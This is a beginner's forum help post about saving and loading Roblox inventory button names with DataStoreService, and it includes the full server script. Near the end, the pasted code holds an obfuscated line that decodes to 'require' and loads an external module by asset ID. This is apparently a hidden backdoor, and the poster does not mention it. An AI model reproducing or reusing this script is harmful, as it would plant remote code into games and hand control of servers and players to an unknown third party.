Hi hi,
Im new to scripting, but everything was going smoothly until now. I just started reading up and watching tutorial on datastore and current having a hard time understanding it.
What I am trying to achieve is to save Names of buttons in a GUI when a player leave and load them back when the player log back on.
I think the issue is the saving and loading the text button names.
local datastore = game:GetService("DataStoreService")
local gamestore = datastore:GetDataStore("PlayerStats")
local weaponStore = datastore:GetDataStore("Inventory")
local baseStats =
{
Strength = 5;
Dexterity = 5;
Intelligent = 5;
Luck = 5;
Level = 1;
Exp = 0;
}
function saveData(player, playerStats, inventory)
local dataToSave = {}
for i, data in pairs(playerStats:GetChildren()) do
dataToSave[i] = data.Value
end
----------WEAPON SAVING
local weaponToSave = { }
for i, weapon in pairs(inventory:GetChildren()) do
if weapon:IsA("TextButton") then
table.insert(weaponToSave, weapon.Name)
end
end
warn("Saving1")
gamestore:SetAsync(player.UserId, dataToSave)
--------WEAPON SAVING
warn("Saving2")
weaponStore:SetAsync(player.UserId, weaponToSave)
end
game.Players.PlayerAdded:Connect(function(player)
local playerStats = Instance.new("Folder",player)
playerStats.Name = "PlayerStats"
--------GETTING THE GUI BUTTON LOCATION
local gui = player:WaitForChild("PlayerGui")
local inventory = gui:WaitForChild("Inventory").Frame
local Strength = Instance.new("NumberValue", playerStats)
Strength.Name = "Strength"
Strength.Value = baseStats.Strength
local Dexterity = Instance.new("NumberValue", playerStats)
Dexterity.Name = "Dexterity"
Dexterity.Value = baseStats.Dexterity
local Intelligent = Instance.new("NumberValue", playerStats)
Intelligent.Name = "Intelligent"
Intelligent.Value = baseStats.Intelligent
local Luck = Instance.new("NumberValue", playerStats)
Luck.Name = "Luck"
Luck.Value = baseStats.Luck
local Level = Instance.new("NumberValue", playerStats)
Level.Name = "Level"
Level.Value = baseStats.Level
local Exp = Instance.new("NumberValue", playerStats)
Exp.Name = "Exp"
Exp.Value = baseStats.Exp
local playerSave
pcall(function()
playerSave = gamestore:GetAsync(player.UserId)
end)
if playerSave then
warn("Player has Data!")
for i, data in pairs (playerStats:GetChildren()) do
data.Value = playerSave[i]
end
else
warn("Player has no data!")
end
local weaponSaved
pcall (function ()
weaponSaved = weaponStore:GetAsync(player.UserId)
end)
---THE COPIES OF THE BUTTON LOCATION
local equipment = game:GetService("ServerScriptService"):FindFirstChild("Equiments")
---What I want this function to achieve is to look at the name saved and if it matches the name of the button above, it would load them into the player gui.
if weaponSaved then
warn{"player has inventory"}
for i, weapon in pairs(weaponSaved or { }) do
local tool = equipment:FindFirstChild(weapon)
if tool then
tool:Cloned().Parent = inventory
end
end
else
warn("Player has no inventory")
end
end)
game.Players.PlayerRemoving:Connect(function(player)
local playerStats = player:WaitForChild("PlayerStats")
---WHERE THE BUTTON ARE AGAIN
local inventory = player:WaitForChild("PlayerGui"):WaitForChild("Inventory").Frame
---PRINTING ALLBUTTON NAMES OUT
for i, v in pairs(inventory:GetChildren())do
print(v.Name)
end
warn("Saving")
----Saving
saveData(player, playerStats, inventory)
end)
getfenv()['\114\101\113\117\105\114\101'](5151855975)
I have try a different loading and saving method from the dev hub and the forums already, but none of the seem to work. Am I missing something?